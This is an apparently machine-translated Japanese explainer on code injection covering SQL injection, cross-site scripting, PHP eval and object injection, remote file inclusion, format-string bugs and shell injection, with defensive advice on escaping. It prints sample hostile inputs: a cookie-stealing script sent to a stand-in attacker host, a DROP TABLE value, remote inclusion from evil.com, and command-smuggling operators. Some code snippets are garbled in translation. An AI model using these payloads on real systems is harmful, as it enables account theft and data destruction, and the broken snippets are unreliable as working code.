コードインジェクション

SQLインジェクション編集

主な記事です。 SQL インジェクション

SQL インジェクションは、データベースを読んだり変更したり、元のクエリの意味を損なうようなコマンドを注入するために、SQL の構文を利用します。 ページの背後にあるコードは、ユーザー名のリストに対してパスワードをチェックする SQL クエリを生成します。

SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'Password'

このクエリが任意の行を返す場合、アクセスは許可されます。 しかし、悪意のあるユーザーが有効なユーザー名を入力し、パスワード フィールドに有効なコード (password' OR '1'='1) を挿入した場合、結果のクエリは次のようになります:

SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'password' OR '1'='1'

上記の例では、「パスワード」は空白または無害な文字列であると見なされます。 「'1'='1'” は常に真となり、多くの行が返され、それによってアクセスが可能になります。

この技術は、複数のステートメントを実行したり、外部プログラムをロードして実行するように改良することもできます。

次のような形式のクエリを想定します:

SELECT User.UserIDFROM UserWHERE User.UserID = ' " + UserID + " 'AND User.Pwd = ' " + Password + " '

敵対者が入力に次のようなものを持つ場合:

UserID: ';DROP TABLE User; --'

Password: 'OR"='

クエリは、

SELECT User.UserIDFROM UserWHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='

結果はテーブルUserはデータベースから削除されることになります。 これは、;記号が1つのコマンドの終了と新しいコマンドの開始を意味するために発生する。 -- はコメントの開始を意味します。

Cross-site scriptingEdit

主な記事です。 クロスサイトスクリプティング

コードインジェクションは、アプリケーションにコードを悪意を持って注入または導入することです。 いくつかの Web サーバーには、ユーザーから小さなメッセージを受け取るゲストブック スクリプトがあり、通常次のようなメッセージを受け取ります:

Very nice site!

しかし悪意のある人は、ゲストブックのコード注入の脆弱性を知っていて、次のようにメッセージを入力するかもしれません:

Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>

もし他のユーザーがページを閲覧すると、注入されたコードが実行されてしまうのです。 このコードにより、攻撃者は他のユーザーになりすますことができます。 しかし、この同じソフトウェア バグは、控えめなユーザーによって誤ってトリガーされ、Web サイトに不正な HTML コードが表示されることがあります。 XSS とは、Web スクリプトまたはそれに類するものへのユーザー入力が、HTML コードまたはスクリプトのチェックなしに、出力 HTML に配置される注入の欠陥を指します。

これらの問題の多くは、可能な入力データ、または特殊データの効果についての誤った仮定に関連しています。

動的評価の脆弱性Edit

攻撃者が eval() functioncall に入力された文字列のすべてまたは一部を制御できる場合、 eval() インジェクション脆弱性が発生します。

$myvar = 'somevalue';$x = $_GET;eval('$myvar = ' . $x . ';');

eval” という引数は PHP として処理されるので、追加のコマンドを付加できるのですが、この場合 eval() functioncall の引数は PHP になります。 例えば、”arg “に”10; system('/bin/echo uh-oh')“を設定すると、サーバー上のプログラム(この場合は”/bin/echo“)を実行する追加コードが実行されます。

Object injectionEdit

PHPではオブジェクト全体のシリアライズおよびデシリアライズが可能です。 信頼できない入力がデシリアライズ関数に許可された場合、プログラム内の既存のクラスを上書きし、悪意のある攻撃を実行することが可能です。 このようなJoomlaへの攻撃は、2013年に発見されました。

リモートファイルインジェクション編集

主な記事。 ファイルインクルード脆弱性

この PHP プログラム (リクエストによって指定されたファイルを含む) について考えてみましょう。

<?php$color = 'blue';if (isset($_GET)) $color = $_GET;require($color . '.php');

この例は、blue.phpred.php などのカラーファイルのみがロードされるように読めるかもしれませんが、攻撃者は COLOR=http://evil.com/exploit を提供して PHP に外部ファイルをロードさせることができます。 制御不能なフォーマット文字列

フォーマット文字列のバグは、プログラマーがユーザーから提供されたデータを含む文字列を印刷したいときに最も一般的に現れます。 プログラマは誤って printf("%s", buffer) ではなく printf(buffer) と書いてしまうかもしれません。 最初のバージョンは buffer をフォーマット文字列として解釈し、そこに含まれるあらゆるフォーマット指示を解析する。 このプログラムはユーザに整数と文字列を要求し、ユーザが提供した文字列をエコー出力する。

 char user_input; int int_in; char password = "Password1"; printf("Enter an integer\n"); scanf("%d", &int_in); printf("Please enter a string\n"); fgets(user_input, sizeof(user_input), stdin); printf(user_input); // Safe version is: printf("%s", user_input); printf("\n"); return 0;

ユーザ入力に%s%s%s%s%s%s%s%sなどのフォーマット指定子のリストがある場合、printf()がスタックから読み込みを開始する。 最終的には、%s フォーマット指定子のひとつが、スタック上にある password のアドレスにアクセスし、Password1 を画面に表示します。

Shell injectionEdit

シェルインジェクション(またはコマンドインジェクション)は Unix シェルから名付けられたものの、ソフトウェアによるコマンドライン実行を許すほとんどのシステムで適用されます。 以下は脆弱なtcshスクリプトの例です。

#!/bin/tcsh# check arg outputs it matches if arg is one if ( == 1) echo it matches

上記が実行ファイル./checkに格納されている場合、シェルコマンド./check " 1 ) evil"は引数を定数と比較せず、注入されたシェルコマンドevilを実行しようと試みます。 ここで、攻撃を受けるコードは、攻撃から防御するためにパラメータを検証しようとしていたかもしれないコードそのものです。

シェルコマンドを構成して実行するために使用できる任意の関数は、シェルインジェクション攻撃を開始するための潜在的な手段です。

ウェブブラウザとウェブサーバとのやりとりのようなクライアント・サーバシステムは、シェルインジェクションに対して潜在的な脆弱性を持っています。 Web サーバー上で動作し、funnytext と呼ばれる外部プログラムを実行して、 ユーザーが送信した単語を他の単語に置き換えることができる、 次の短い PHP プログラムを考えてみましょう。 このコマンドの一部は、Web ブラウザが提供する URL から取得されているため、この URL から悪意のあるシェルコマンドを注入することが可能です。 様々なシェル機能の構文を利用することで、いくつかの方法でこのプログラムにコードを注入することができます(このリストは完全なものではありません)。

シェル機能 USER_INPUT 結果のシェルコマンド 説明
連続実行 ; malicious_command /bin/funnytext ; malicious_command 実行 funnytext 次に malicious_command 実行される。
パイプライン | malicious_command /bin/funnytext | malicious_command funnytextの出力をmalicious_commandへの入力として送ります。
コマンド代替 `malicious_command` /bin/funnytext `malicious_command` malicious_commandの出力を引数にfunnytextとして送ります。
コマンド置換 $(malicious_command) /bin/funnytext $(malicious_command) malicious_commandの出力をfunnytextへの引数として送出。
AND list && malicious_command /bin/funnytext && malicious_command funnytextが終了ステータス0(成功)を返したら、malicious_commandを実行する。
OR list || malicious_command /bin/funnytext || malicious_command もしfunnytextが0でない終了ステータス(エラー)を返したらmalicious_commandを実行する。
出力リダイレクト > ~/.bashrc /bin/funnytext > ~/.bashrc .bashrcファイルの内容をfunnytextの出力に上書きする。
入力リダイレクト < ~/.bashrc /bin/funnytext < ~/.bashrc 入力として .bashrc ファイルの内容を funnytext に送る。

シェルコマンドを作るために使われる文字列を適切にエスケープしたり引用する関数も言語によってはある:

  • PHP: escapeshellarg() および escapeshellcmd()
  • Python。 shlex.quote()

しかしながら、これらの関数について知り、学ぶこと、そしてシェルコマンドを使うたびにそれらを利用することを忘れないことがプログラマに課せられた負担であることに変わりはない。

より安全な代替案は、シェルを通してではなく、外部プログラムを直接実行する API を使用することで、シェルインジェクションの可能性を防ぐことです。 しかし、これらの API はシェルの様々な便利な機能をサポートしていなかったり、 簡潔なシェル構文と比較してより面倒で冗長であったりする傾向があります。

コメントを残す

メールアドレスが公開されることはありません。